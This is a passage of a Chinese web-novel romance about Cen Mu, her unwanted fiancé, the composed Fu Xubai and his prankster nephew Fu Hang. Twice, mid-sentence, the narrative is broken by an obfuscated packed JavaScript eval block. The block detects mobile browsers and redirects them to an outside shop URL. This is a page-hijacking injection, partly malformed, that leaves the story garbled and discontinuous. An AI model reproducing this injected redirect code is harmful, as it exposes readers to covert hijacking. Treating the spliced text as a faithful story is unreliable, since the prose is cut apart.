她翻转手机,往屋内看了眼,脚步缓慢的移动着。 然而,她刚前进没几步,身后便突然传来异样。 修长有力的手掌横亘在她脖颈前,锋利闪光的刀刃危险地抵着她,似乎再微微用力,就可以毫不留情地割破她的大动脉。 岑慕惊地屏住呼吸,大气不敢喘一声。 温热平淡的呼吸喷薄在她耳垂处,声音嘶哑低沉: “未经主人允许就随意进入别人的房间——” 他似是游刃有余的猎人,熟练的操控着手中的工具,刀尖轻佻散漫地抬了抬她下巴,质问道: “不想活了?” 6. 水火不相容 屋内平静无波,岑慕心脏却跳动飞快,不自觉屏息起来。 由于距离过近,她能察觉到男人身上带着沐浴后的淡淡香气,香气窜到鼻尖,声音却莫名耳熟。 脖颈忽然发痒。 男人头发未干,发梢上滴落下来的水珠淌在她的脖颈肌肤上,然后悄无声息的滑落。 岑慕声音发紧,快声解释道: “抱歉,我不知道这是你的房间,我还以为——” 温热的躯体靠着他,似乎有微微颤抖的迹象。 “以为什么?”刀尖略微撤离。 岑慕:“我还以为我认识的人在这里休息,不小心打扰到你了,真的很抱歉。” 几秒后。 那人后退几步,然后打开了屋内的灯。 屋内骤亮,岑慕不太适应地眯起眼睛。 但很快,她转身看向身后的男人。 黑色真丝浴袍松垮的穿在男人颀长的身子上,领口露了大半肌肤,带子系的倒是严实的,不该露的地方一点没漏,不过隐约还是能窥见几分他的好身材。 皮肤冷白,胸肌鼓鼓的,未干的水珠滴落在上面,画面格外惹人遐想。 岑慕略带别扭地挪开眼睛。 她怎么也没想到,在房间里面遇见的人会是傅叙白,而且他今日的形象跟往日大为不同。 以往,他衬衫的扣子总是会系到最上面一颗,浑身上下都透露着不可侵犯的矜贵气息。 今日看到这一幕,岑慕总觉得是冒犯了。 可傅叙白本人倒没那么小气。 反而,他看起来大度很多。 他睫毛半垂,白皙修长的手掌懒散地把玩着手中的水果刀。 一抹银光闪过,他又把水果刀安全地插在了旁边的苹果上。 岑慕轻声呼气,像是有些松懈起来。 傅叙白注意到她松了口气的模样,唇角拉扯,“吓到了?” 岑慕这时候才有点微恼。 她只不过是进错了房间,傅叙白就要拿刀取她小命,刚才就差那么一点,她就要一命呜呼了。 这男人看着斯斯文文的,没想到私下是这样的。 岑慕眉毛竖起,“这事儿算我不对,不过要是我不认识你,你真的要杀了我?” 傅叙白下颌微抬,平静无波地说道: “法治社会,杀什么人?” 岑慕:“……” 傅叙白温声道: “若是吓到你了,我跟你赔礼道歉,不过我有个习惯,一般人不能随便进我房间,这点你恐怕不知道,不过不知者无罪,所以该道歉的人是我。” 岑慕这时候心跳才平缓下来,她蹙起细细的眉,想着秦月灵给自己发的那条消息。 消息里面,她分明说自己就是在这间房间里面。 于是,岑慕很小心翼翼地打量着屋内。 傅叙白的卧室装修偏严肃优雅的唐顿庄园风,干净利落又一尘不染,略微带着些性冷淡味道,居住气息不重,整体像是住着一个不怎么回家的人,每一个摆件都规规矩矩的待在自己该在的位置。 岑慕其实不太喜欢这种装修风格。 她略带分神的想,如果她住在这样的房间里面,最起码会在窗边摆上一束鲜艳的粉玫瑰,不然这屋子也太沉闷了。 她打量瞬间,又被傅叙白巧妙的捕捉到。 傅叙白上前两步,双手微微环臂,问她: “对我房间好奇?” 岑慕脸颊微红,“不是,我只是在确认她究竟在不在你房间。” 傅叙白:“你说的人是谁?” 岑慕:“秦月灵。” 傅叙白:“谁跟你说她在这的?” 岑慕:“她给我发的消息。” 傅叙白转身去点燃了一支茉莉沉香,淡道: “那你可能是被人骗了,我这人除了你,没人来。” 岑慕盯着他点香的动作,莫名觉得有些赏心悦目。 “你一直在家?” 傅叙白:“嗯,临时回来的,本来想补个眠,但是洗个澡的功夫,就被一位好奇的女士闯入了。” 岑慕不自觉心虚地抿了抿唇,“我又不是故意的……” 不过,她还不知道为什么秦月灵要骗她,还是单纯的发错了位置? 但不管怎么说,她此刻在一个单身男人的房间里面实在是说不过去,若是被人发现了,就不好解释了。 岑慕小声道: “那你继续休息,我就不打扰你了。” 说完,她抬腿准备出门。 傅叙白背对着她,纹丝不动,视线依旧停留在自己的香盒上。 屋内寂静,所以走廊那边传来的脚步声格外突兀。 她刚才进屋的时候没关门,所以门外的声音很清晰。 皮鞋踩在光滑的地板上,声音脆的响亮,中间还掺杂着几声男人的低咳声,那声音有点熟悉,像是被酒精香烟过分腐蚀过后的沙哑。 岑慕耳朵微动,轻声道: “……要来人了。” 话说完,门外就传来男人懒散的声音。 “小叔。” 傅叙白不疾不徐地放下手中东西,“你先稍微一避。” 岑慕也知道轻重。 她就算跟秦玉明没什么感情,可现在还有婚约在身,若是莫名其妙的让人看见她在陌生男人房间里面,名声总是不好听的。 她咬唇,带着点不甘愿,“往哪儿避?” 男人视线幽幽的往窗帘后面扫了眼。 岑慕:“……” 这个傅叙白,竟然敢让她躲在窗帘后面。 岑慕脸蛋通红,本是不乐意,又怕被傅航那个浑不吝的看到乱传些什么,只得侧身躲在了窗帘后面。 好在,窗帘就在她旁边。 她前脚刚躲进去,后脚傅航就进来了。 傅航探进身来,然后谄媚一笑: “小叔,是我。” 傅叙白垂眸扫视他:“这么晚,来我房间有什么事?” 他身形微晃,高大颀长的身子正好挡住傅航往屋内打量的视线。 傅航:“我朋友们都在楼下玩,有没有耽误小叔睡觉?” 傅叙白这时候声音还算是温和。 “不碍事,你不用打扰我,继续下楼玩吧。” 傅航声音带笑:“刚才让保姆给小叔做了一碗醒神汤,我正好给您端进来孝敬您。” 岑慕躲在窗帘后面,忍不住撇唇。 这个傅航,平日里面在那帮公子哥面前横行霸道惯了,在自己小叔面前倒是惺惺作态,完全没有传闻中针锋相对的架势,看样子也是两面派,属于只敢背地里面耍阴招的那种货色。 傅叙白略微失了耐心,“不用,你留着自己喝,别来打扰我。” 傅航还是不死心,端着汤想往屋内再进一步。 “小叔我……” 傅叙白耐心告罄,眼尾眯起,声音隐隐严厉。 “滚下去。” 傅航暗藏的小心思被击退,又不敢贸然的招惹傅叙白,这时候也不能再去探究屋内有没有人,他只得悻悻地摸了摸鼻子,“好吧……” 他端着汤,转身往门外走去。 待傅航脚步声越走越远,傅叙白对着窗帘后面的人说道: “出来吧,他应该不敢再逗留在这边了。” “唰”的一声。 岑慕拉开窗帘走了出来。 她脸颊还是绯红的,有些怨念地看向他。 傅叙白轻微挑眉,没搞懂岑慕为何忽然生气。 不过,这姑娘脸皮还挺薄的。 也是,年纪轻轻的小女孩儿整出这副“偷情”的架势,对于她来说,应当也是头一遭。 岑慕胸口上下起伏,瞪他一眼,“你竟然敢——” 她可不是傅叙白的亲侄子,也不怕他。 傅叙白唇角弯动,“要跟我没完?” 岑慕轻捏拳头。 傅叙白挺礼貌的侧身,看样子是准备送她出门了。 “那等下回。”男人温文尔雅道。 岑慕也不好意思继续在他房间逗留,脚步飞快的就离开这里。 她下了三楼,在大厅卫生间拐角处正好遇到了醉醺醺的秦月灵。 秦月灵靠坐在一旁,不分时间地点的打着瞌睡。 岑慕深呼吸一口气,然后快步走到她面前,手掌抓住她肩膀,声音带着些不悦地问她,“你怎么回事儿?” 秦月灵迷迷糊糊地睁开眼睛,“……岑慕?” 岑慕:“你刚才在哪儿?” 秦月灵刚才去卫生间吐了,然后体力不支,索性眯了会儿。 此刻看岑慕愠怒模样,她醒了几分酒,回道: “我刚去卫生间了,怎么了?” 岑慕眸子略微眯起,带着些不悦,“你是故意让我去三楼那房间的?” “三楼?”秦月灵晃了下脑袋,显然不明白岑慕在说些什么,“我一直在这边休息,不知道你在说什么……” 岑慕沉默一会儿,忽然问她: “你手机呢?” 秦月灵摸了摸口袋,这才发现自己手机不在身上。 她一脸茫然道: “我手机呢……” 岑慕:“丢了?” 秦月灵起身,身形有些不稳,“可能是刚才落在大厅的沙发上,我下去找找。” 她刚才眯了会儿,此刻已经没那么难受了,就是走路还有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13664661|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳。 岑慕随她一起下楼。 待走到沙发处那边,便看到傅航众星捧月般的坐在几人中间,百无聊赖的摆弄着手中的HelloKitty粉钻手机壳。 傅航实在是不明白,怎么秦月灵会用这么土的手机壳。 在他的审美中,的确是不懂部分女孩儿对于粉色的执念。 他歪头笑着跟旁边的几个纨绔子弟笑着挥了挥手中的手机,调侃气息很浓。 秦月灵一下楼,就看到傅航拿着自己的手机。 她走过去,一把抢过傅航手中的手机。 由于动作太快,长长的指甲从傅航脸颊擦过,留下一道不轻不重的划痕。 傅航轻“嘶”一声,显然是带着不爽。 “温柔点啊。” 秦月灵看了眼自己的手机,生气道: “我手机怎么在你这?” 傅航耸肩:“刚才是你自己丢在沙发上的,我好心帮你捡起来罢了。” 秦月灵划开屏幕,看了看里面的内容。 傅航早就把那条消息删了。 秦月灵心思不设防,所以一直都懒得设密码这种东西。 她也没想到,今天自己的手机会被傅航捡到。 显然,她此刻还没意识到刚才发生了什么事情。 傅航这时候恰好也注意到了秦月灵身后的岑慕。 岑慕站在原地,挺安静地注视着他。 傅航心情颇好的跟岑慕挥了挥手,“你们两个一起下来的?” 周围还是保持着喧嚣热闹的气氛。 桌子上的洋酒瓶已经攒了一堆。 傅航歪坐在沙发上,衬衫扣子也崩开了几颗,眼尾带着醉意。 岑慕这时候差不多明白傅航的心思了。 他故意给她发消息,无非是个恶作剧,想看她出丑罢了。 她平日跟傅航无冤无仇,也不知为何这人会忽然把歪心思动到自己身上。 不过转念一想,也挺简单的。 傅航跟秦玉明水火不相容,她又是秦玉明的未婚妻,要是她今天在这边出了什么丑,明天再爆出来一些“她晚上偷偷进傅叙白房间”的花边新闻出来,难为情的还是她和秦玉明。 不得不说,这手段低级又下作。 傅航根本不怕惹事儿,因为他混蛋惯了,所以见岑慕逐渐走近他,他便坐直身子,清了清嗓子,浑水摸鱼的说:“别生气,刚才就是跟你开了个玩笑,我也不知道秦月灵在哪儿,本来是想着让你过去看看的,你真去了?” 说话的时候,他还在岑慕身上扫视了眼,话语里面是掩饰不住的八卦。 岑慕睫毛微动。 下一秒。 一记响亮的巴掌就扇在了傅航的右脸上。 傅航猝不及防,直接被抽的栽倒在沙发上。 这一巴掌令大厅的人瞬间安静下来。 傅航怎么也没想到岑慕敢打他,他踉跄起身,咬牙道: “你他妈的……” 回应他的又是一记耳光。 傅航这回彻底傻眼了。 他脸颊侧偏到一旁,像是被抽懵了。 秦月灵也在旁边看呆了。 她倒是没傅航那么惊讶,过了会儿也缓过神来。 秦月灵不厚道地低笑了一声。 傅航还真是低估了岑慕的脾气。 若是把她当成软柿子来捏,那他真的要吃苦头了。 岑家就岑慕一个后代,从小都是金枝玉叶的养着,他这种不学无术的二代怎么能跟岑慕相提并论,他无非是仗着傅家的权势狐假虎威罢了。 岑家一向注重名节,今晚这事儿说大也大,说小也小。 若他不是故意的还好,可他偏是诚心捉弄她的,那岑慕定是不能忍下这口气来。 她刚才用力过猛,此刻指尖还带着丝丝的麻。 她甩了甩手,拿着包就要往外走。 余光略微一瞥,便看到楼上那人看戏般的向她透射来光芒。 他这人眸光一向是淡淡的,难得有凑热闹的时候。 他休息了一阵,本来是想出来透口气,谁知正好撞见楼下大厅处有好戏正在上演。 那人居高临下,骨节分明的白皙手掌端着一杯加冰的威士忌,微湿的碎发随意的垂在额前,比平日多了几分慵懒俊美气息,还是屋内的那件黑色浴袍,看着就引人遐想。 岑慕在他家把他侄子打了,心里面虽然有点心虚,但是一点不后悔,也没有要悔过的意思。 她本以为傅叙白会有不悦,谁知,待她抬头往楼上看去的时候,却分明看到了男人眸中带着几分浅浅的戏谑笑意,似淡淡雾气弥漫在静谧的月色中。 微波泛起,勾勒出一抹清辉。 7. 青山祈雪图 傅航被人打了。 还是在自己的生日宴上。 这事儿在江城闹的沸沸扬扬,偏偏傅航又是个要面子的主,听着外面议论的热烈,心里面更是憋气。 始作俑者隔日坐在沙发上,看着江卉给自己发来的消息。 江卉:【你真把傅航给打了?】 岑慕:【你的消息果然还是那么灵通。】 江卉:【这事儿在江城都传开了,不过他要是惹到你了,确实该打。】 岑慕还没来得及回复江卉的消息,沈香薇就端着水果坐到她身边,“昨晚我下楼倒了杯水,看到你房间那么晚还亮着灯,是不是又熬夜不好好睡觉了?” 岑慕:“还好,也没有睡得特别晚。” 沈香薇:“是因为在傅家的那件事情?” 岑慕笑笑:“这事儿就连您也知道了?” 沈香薇轻哼:“我又不是两耳不闻窗外事的聋子,这事儿别人都知道了,我怎么不知道。” “那您……不会怪我吧?”岑慕轻咳一声,视线不太确定地看向沈香薇。 沈香薇拿过来一个饱满的橙子,耐心的替她剥开。 她这个岁数保养的很得当,就连颈纹都几乎看不到,养尊处优的模样不像是四十多岁的女人,看起来也就三十岁出头。 沈香薇年轻的时候也是大户人家的姑娘,从小到大也是养尊处优长大的。 对于自己的女儿,她是只能宠着,不能让她受一点委屈。 听说昨晚的事情之后,沈香薇本来都打算去傅家找那个混蛋傅航去算账的,但后来又被岑华拦了下来,说是这样太不好看,怎么说也是小辈之间的事情,她这个长辈若是参与进去了,未免太有失体面。 沈香薇冷静下来之后就觉得岑华说的有道理。 傅航这种小孩子,还不值得她出手。 但是那早就是出了名的混账,做出来什么事儿也不让人稀奇。 沈香薇三下五除二的就把橙子皮剥好,然后递到岑慕面前,“吃点水果。” 橙子的香气弥漫到鼻尖。 岑慕拿起橙子,小口小口地咬着。 沈香薇打量着自己的女儿,“要是你被人欺负,我还去怪你,那你应该要考虑,你是不是我的亲女儿了。”她点了下岑慕的脑袋,像是在怪她不懂亲妈的苦心,“我还在心疼你是不是手指痛了,打那种王八蛋几巴掌算什么,要是不出气的话,之后再多打几下,反正是他先惹的你,我就不信傅家敢有什么意见,竟然还跟你一个小女孩作对。” 岑慕有点担忧:“那要是傅家因此跟我们有嫌隙怎么办?” 沈香薇:“什么嫌隙?” 岑慕:“爸爸不是跟傅老板接下来还要合作吗。” “你说那件事情啊……”沈香薇不太在意地看了看自己的顶级宝石材质戒指,“要是傅叙白真的在意这件事情,那合作的事情就泡汤了吧,反正你爸爸本来也不是什么做生意的材料,这投资的钱拿给他,也就是打水漂让他开心的。” 岑慕:“……” 沈香薇往楼上看去一眼,确保这话没被岑华听见。 “不过你爸爸挺敬重傅叙白这个人的,毕竟他年轻有为,跟傅航这种渣滓绝对不是一个性格,你跟他亲侄子出了这样的矛盾,他定然也不会就这么不分黑白的去责怪你,而且听说他也不是很喜欢那个侄子。” 见沈香薇这么说,岑慕才想起来昨晚她从傅家大厅往外走时的情景。 她无意间抬头,对视上那人的视线。 他看上去,的确不像是生气姿态。 反而,还有点旁观者的看戏姿态。 岑慕也不了解他,自然不知道这人在想什么。 话说完,沈香薇像是忽然想到什么,偏头看岑慕,“对了,你出了这事儿,就连我都知道了,秦玉明没给你打个电话问问?” 岑慕老实地摇头。 “没有。” 沈香薇眸子里面出现几分不满。 “这孩子怎么回事儿,以前见他还挺懂事儿,最近是太忙了,还是有什么其他的事情?” 岑慕小声故意道: “他挺忙的,而且朋友特别多,整天都不知道跟什么人在一起。” 沈香薇听这话感觉不太对劲,拧了拧眉毛,正欲回应些什么,门口那边便传来门铃声。 大概是说曹操曹操就到,刚提到秦玉明的名字,他就登门来看望岑慕了。 本来听说他人还在外地,不知道是恰巧回来还是专门为了这件事情回来的。 毕竟在外人眼中,未婚妻受了委屈,他也不好不出面。 秦玉明最擅长应付这种表面上的人情往来。 他来的匆忙,像是刚下飞机。 沈香薇抬头看向他,像是不大满意秦玉明这时候才过来,淡道:“来了。” 秦玉明点头,然后坐在岑慕身边,“听说你这边出了点事儿,就赶忙过来了。” 岑慕倒是有点不好意思,本来就不是什么大事儿,结果搞得满城风雨,她都觉得小题大做。 “没事儿,不是什么大事情,你不用专门赶回来,不是说事情很忙吗?” 秦玉明:“是挺忙的,不过你的事情最重要。” 岑慕撇了撇唇,懒得跟秦玉明虚伪对话。 大概是有意给二人单独留出来二人世界,沈香薇起身道:“我去楼上看看你爸爸,你们两个人慢慢聊。” 秦玉明:“好的,伯母,你放心,我会好好安慰岑慕的。” 待沈香薇离开这边,岑慕彻底松懈下来,睨了眼旁边的秦玉明,“行了,别装了。” 秦玉明睫毛微动,似是不太理解。 岑慕手中的橙子已经咬了一半,她懒得再吃,索性放到盘子里面,“你本来就对我的事情就不关心,何苦装出在意模样,要是让你身边的那位看见了,岂不是要吃醋跟你闹别扭?” 之前她去见那个孟荔的时候,这二人似乎感情还没那么深。 但据她可靠线报,最近这段时间,二人关系又亲近不少。 秦玉明大概是快得手了,所以心思越发不在她这边,演戏频率也低了不少,今天估计是听说出事儿了,为了不影响子自己在长辈心目中的形象,才不得不假模假样的赶过来。 见岑慕这么说,秦玉明只是表情冷淡。 “胡说什么,没有的事。” 岑慕冷哼一声。 明明就是他故意想让她知道的事情,结果现在还要装模作样。 不过她派出去的人倒是搜集到了一些有趣照片,若是真到了撕破脸的那天,她那些照片可以很好的派上用场。 有时候她也觉得秦玉明这种人可怜,做着自己不喜欢的事情,偏偏不敢反抗,也不愿意做取舍,真让人搞不懂他脑子里面在想什么。 岑慕摇晃了下酸涩的脖颈,“我没什么事,你回去吧。” 秦玉明欲言又止,“确定不用我再陪陪你了?” 他在身边,岑慕反而会更头痛。 她摇头,“不用,我昨晚没睡好,一会儿上楼再睡会儿,你先走吧,今天辛苦你来这一趟。” 她话说的灵巧,虽是轰秦玉明走了,却也没有完全拂他面子。 她这说话的技巧,还是从小耳濡目染的,尽量说好听的,不跟任何人为敌,这也是岑家的做人之道。 她都开口赶客了,秦玉明只好就这么离开。 他今天确实是临时回来的,昨天秦月灵一到家,就把这事儿告知家中长辈了。 长辈那边得知岑慕不开心,就让秦玉明早点回来,省的被人说不关心未婚妻,落人口舌。 秦玉明人既然已经来了,就代表任务已经完成。 他从岑家离开之后,岑慕又上楼休息了一会儿。 她睡得沉,午后空调开的适宜,就连薄被都没盖,身上只穿着一件舒适的白色蕾丝睡裙,这一觉睡得不知此刻已经到了几点。 再醒过来的时候,还是沈香薇进屋把她叫醒。 沈香薇给她端过来一杯水,“来了客人,下楼看看。” 岑慕喝了口水,整个人还没完全醒盹,声音沙哑着问道:“谁来了?” 沈香薇轻笑:“傅家的人。” 岑慕顿住,“傅家?” 沈香薇:“对,傅叙白带着他侄子,来给你赔礼道歉了。” 十分钟后。 岑慕随沈香薇下楼。 她下楼的时候,正好看到傅叙白和傅航在楼下等候着。 傅叙白坐在沙发上,穿着精致的白衬衫,一双长腿随意的搁置着,此刻正在品尝着保姆给他端上来的红茶。 傅航就站在他身侧,脸色不明,但黑眼圈有些重,双手放在腿侧,看起来站的很是规矩,跟昨晚那无法无天的模样完全是两个极端。 大概是听到楼梯口传来的脚步声,二人视线都往这边投了过来。 傅叙白放下手中的精巧瓷杯,缓缓起身,单手插兜着往岑慕这边看过来。 她大概是午睡刚醒,一头柔顺的黑发随意柔顺的披散在肩侧,身上穿着一件白色蕾丝睡裙,款式清凉却不暴露,只露出来脖颈和小腿肌肤。 她的腿是天生的纤细漂亮,像是琼脂白玉,大概是小时候练过一段时间芭蕾的缘故,所以体态极好,纵使是刚醒过来,背脊也是挺得直直的。 她视线在傅航身上逛了圈,带着些睥睨打量,“你今天怎么有空来了?” 她说这话其实也是明知故问,就是为了故意打他脸呢。 傅航脸色难看,唇线绷紧没说话。 在来这之前,他已经挨了教训。 昨晚他确实喝酒喝的冲动,加上前段时间心里面不爽了很久,所以想着故意搞个恶作剧,没想到,这个恶作剧的代价这么大。 傅航好歹是个成年人,被长辈带着来别人家里面道歉,自然脸上挂不住,犹豫再三,本想开口,却被傅叙白抢了先。 他声音平缓,在旁边道: “昨晚他们小孩子在一起,傅航惹了岑小姐不开心,这事儿我知晓,我作为傅航长辈,没有教育好他,也是我的失职,所以我今天专门带他来给岑小姐道歉。” 岑慕坐在对面沙发上,打量着傅叙白。 这话说的有意思。 若是不知道的,还以为傅叙白多大年纪。 可他今年,也不过二十七岁,可行为处事实在是太稳重了,就连客套话都说的滴水不漏。 沈香薇看这个傅航十足不顺眼,所以也没给他什么好脸色。 但碍于傅叙白今日在场,她也是敷衍的应道:“他们小孩子的事情,本来我也没有放在心上的,只是傅老板你也知道,我们就岑慕一个女儿,从小都是放在掌心上宠着的,从来没有让她受过一点委屈,昨晚那事儿虽然是个玩笑,可要是真传出来什么不好听的名声,对于我们家岑慕还挺不好听的,毕竟,她还没嫁人呢。” “我知道。”男人薄唇微动,转头对傅航淡道,“昨晚的事情,是你不对,你认不认。” 傅航忙不迭点头,“昨晚我喝多了,确实做的不对,本来是想着开玩笑,但现在我知道有些玩笑实在是不能乱开,小叔也教训我了,所以我今天专门是给岑小姐赔礼道歉的。” 沈香薇拿足了架势,“给谁道歉?” 傅航拳头放在身后,默默捏紧。 他看向岑慕,一字一句道: “岑慕,昨晚的事情是我不对,你大人不记小人过,别跟我多计较。” 岑慕倒也不是多么记仇的人。 看着傅航吃瘪模样,她忍住唇角笑意,双腿微微交叠,轻声叹气,“我怎么会跟你计较呢,你既然都亲自来道歉了,我肯定会原谅你的。” 她看上去心情不错,翘着二郎腿,指尖搭在膝盖上,这时候才露出来几分稚气,跟之前在他面前故作成熟的模样可不一样。 傅叙白扫过一眼她白皙脖颈,然后对傅航说道: “昨晚的事情,可大可小,岑小姐不跟你一般见识,你就真打算这么过去了?” 傅航:“我……” “关乎女孩子名节的事情,不能随意略过。”他停顿几秒,然后说道,“给岑小姐跪下,道歉。 ” 傅航深呼吸一口气。 他知道这个时候不能忤逆傅叙白,否则就是在岑家人面前打了傅叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对。”岑慕还有些羞涩,似乎不太好意思,“本来就是答应你的,总不好放你鸽子,所以就做好送给你。” 她打开伞,把上面的图案展示给傅叙白,“你看看,这样的图案,你喜欢吗?” 纤细指尖搭在伞柄上,淡淡桐油味道扑鼻而来,类似于松香。 她轻微转动伞面,一幅用心的青山祈雪图便出现在傅叙白面前。 傅叙白早知岑慕对这方面有所造诣,但今日亲自见她制作出来的成品,还是会诧异于她制作出来的油纸伞会如此巧夺天工,与市面上流水线作品完全不同,完成称得上艺术品。 恰好傅叙白对这方面也很感兴趣。 他仔细观摩伞面上的图案,发现伞面边缘处留着大片突兀的白,却与整体效果并不相悖。 他指了指那处,问道:“这里是……” 岑慕见他注意到那处,便解释道: “我给这幅画取了名字。” “青山祈雪。” 傅叙白视线落在她身上。 岑慕:“既然是祈雪,就要有专门的意境。” 她唇角翘起一丝狡黠的弧度,下颌轻抬,对上男人那双温润的眼眸,把自己暗藏的小心机告知于他。 “有一种艺术,你或许知道。” 傅叙白眉峰微动。 与他这样近距离的对视着,岑慕才发现这男人之所以看起来温润和善,是因为他的瞳孔是浅淡的琥珀色,很容易就让人对他放低警惕心。 眸色深邃,浓密漆黑的睫毛遮挡住眸中色彩,无法让人看透他内心所想。 岑慕还是第一次看到这么漂亮的琥珀色眼眸。 平时并不明显,只有在浓烈阳光下才看的分明。 此刻正是午后,艳阳热烈的照射到屋内。 她甚至能看清楚他根根分明的睫毛,还有他几乎没有缺点的五官皮肤。 傅叙白:“岑小姐可以指点一二。” 岑慕脚步微抬,凑近他一些。 “留白。” “中式美学的一种,傅先生听说过没有?” 她大概是聊得投入,还没意识到二人之间的距离稍微近了些,已经有些逾越正常社交距离的亲昵。 傅叙白礼貌性地退后一步。 “原来如此。” “有心了,岑小姐。” 见他后退,岑慕略感无趣地撇唇。 她本来以为自己很有礼貌了,偏偏碰到一个比自己更加有礼貌的傅叙白。 她清了清嗓子,准备把想问出口的话今日正好问出来。 她昨晚到家之后一直失眠,脑子里面乱七八糟的,怎么都无法入睡。 她想着之后挑个合适时机,肯定要跟秦玉明撕破脸的。 反正她跟秦玉明不算是恋爱关系,顶多是长辈们挑的结婚对象,不过在那之后,家里面肯定要为她找新的良婿。 到时候不知道要给她安排什么样的未婚夫,老的丑的,岑慕可是一点都不想要。 她知道自己未来的结婚对象肯定要家世非凡,必须要与岑家地位相匹配,甚至要更高,可是人品怎么样,这都是开盲盒一样的让人棘手。 与其让家里面人给自己乱挑一气,她这个聪明脑袋,倒是挑好了一个合适人选。 之前傅叙白来她家中做客吃饭,她知道了他如今单身,就是不知道他心里面有没有意中人,要是像秦玉明这种心有所属的给她她也不要。 于是,她好奇地问道: “傅先生有没有谈过恋爱?” 傅叙白垂眸看她,似是有些不解她忽然而来的问题是什么意思。 岑慕换了个问法: “你有没有喜欢的人?” 时间流逝的很慢。 岑慕却格外有耐心的等着他的回复。 须臾。 男人眸色落到她殷红的唇色上,睫毛清淡地眨动,回她: “都没有。” 8. 缘分天注定 岑慕得到了他的回答,面上并没有太多异样。 她眼尾翘起,手臂搭在一旁的栏杆上,轻快道: “好,我知道了。” 傅叙白没问她为什么会问自己这个问题,他收下伞,温和道:“那岑小姐的好意,我就收下了。” 岑慕:“我送你下楼。” 傅叙白:“好。” 等到二人往下楼走的时候,傅航还站在原地。 岑慕睨他,然后懒洋洋道: “行了,昨晚的事情我大人不记小人过,你回去吧。” 傅航扯了扯唇,“你不生气就好。” 昨晚家中长辈都出去旅游了,他父母跟爷爷也在外地,出了这事儿之后,三个人轮流打电话来骂他,傅航此刻也知道后悔了,不知道昨晚自己是吃了什么熊心豹子胆,竟然敢捉弄这两个人。 喝酒当真是误事,他以后就算再冲动,也不能贸然喝那么多酒了。 等到这二人离开,沈香薇才心情稍微好了点。 “看来这个傅叙白比他那个侄子强多了,最起码懂得礼数,还知道上门来给你道歉。” 岑慕:“虽然我跟傅叙白接触不多,可能看出来,他跟傅航是截然不同的人。” 沈香薇:“那是自然,若他的本领跟那个傅航一样,就做不到掌权人的位置了,你别看他那个侄子表面对他毕恭毕敬,私下对他的位置很是眼红,不过在这种家族关系里面,这种事情很正常。” 沈香薇想到傅叙白临走前,手里面还拿着岑慕送给他的伞。 她这个女儿,可不是会轻易给别人送伞的性格。 虽然送给傅叙白,也是情理之中的事情。 可她看岑慕,似乎对傅叙白印象还不错。 - 那晚在傅家的事情,对于岑慕来说,也就是个小插曲,生生气消消火,这事儿也就过去了。 江卉约她出来喝酒小酌一下,岑慕正好从私人工作室里面出来。 她把拍下来的那些照片放进包里面,并且对自己找的人办事效率还算是满意。 她的计划是,打算近两日就把秦玉明谈恋爱的事情告诉双方家长。 一开始是想着故意钓钓秦玉明,看他什么时候能着急,但据岑慕观察,这人比自己想象的还能忍,万一忍到结婚那天,岑慕可就亏大了。 她又没打算做滥好人,到时候替秦玉明背忤逆长辈意愿的黑锅,而且他这也算是自由恋爱,岑慕根本管不着,只是把事实真相告诉众人罢了。 此刻距离跟江卉约见面还有一段时间,岑慕靠在车边,准备去路边的茶室随便买杯茶水喝。 就在她抬腿欲往那边走去的时候,身前忽然多了道人影,拦住她的去路。 岑慕微微眯眸,打量着面前这人,感觉有些眼熟。 “孟荔?”她对这女人印象还挺深刻的,毕竟也是难得一见的美人,那双妩媚多情的眼眸纵使连她这个女人也忍不住想要多看几眼。 与第一次见面不同,这次再见面,孟荔的眼神里面明显带了些提防警惕。 还有,落于下风的妒意。 那时候在饭局上见到岑慕,她还不知道岑慕跟秦玉明是什么关系。 可孟荔也不是傻子,该知道的东西,这段时间她七七八八的也就差不多都知道了。 她一开始也打算跟秦玉明断利索了,可她发现自己根本就做不到。 秦玉明对她是真的好,而且跟圈子里面那些油嘴滑舌的纨绔公子哥完全不同。 孟荔发现自己喜欢上他之后,便就一发不可收拾的陷入感情内耗中。 她也试图跟秦玉明冷战过,让他赶紧处理好自己那边的事情,可秦玉明总是让她再等等,现在不是合适的机会,太唐突行事,只会让家里面长辈生气。 孟荔知道秦玉明跟自己不同。 他家中背景比自己强厚很多,自己就是一个普通人家的女儿,他那边自然是看不上自己的。 秦玉明身上背负的重担很多,不能随心所欲的生活,这些她都明白。 可如果秦玉明要是真心喜欢她,无论有多少人反对,她也甘愿等他。 陷入感情中的人,多少是不理智的。 听说秦玉明这次匆忙回江城,一下飞机就去安慰了岑慕,孟荔便在家中坐不住了。 她甚至有些嫉妒这个只有一面之缘的女人。 她含着金汤匙出生,随随便便的就能让秦玉明听她指挥。 纵使秦玉明不喜欢她,也不得不陪她逢场作戏。 孟荔恨极了这种感觉。 她只能在家中等着,无能为力又心急如焚。 所以,她干脆想来找岑慕说个明白。 见岑慕还记得自己,孟荔深呼吸一口气,“是我。” 对于她主动出现在自己面前的这件事情,岑慕颇感意外,“你找我有事?” 孟荔点头,“我知道你是秦玉明的未婚妻。” 岑慕歪头看她,“那你今天是为了他……而来?” 孟荔握拳,压抑住内心的自卑与不自信,索性将自己想说的话一股脑全都说了出来,“我知道你跟秦玉明之间并没有感情,而且也不是恋爱关系,顶多就是家中长辈指定的婚约罢了,既然如此,你为何不能放他离开。” 放他离开? 岑慕琢磨着孟荔说的这话,忍不住轻笑出声。 孟荔被她的笑容弄得微恼,“你笑什么?” 岑慕:“你觉得是我硬要霸占他不放?” 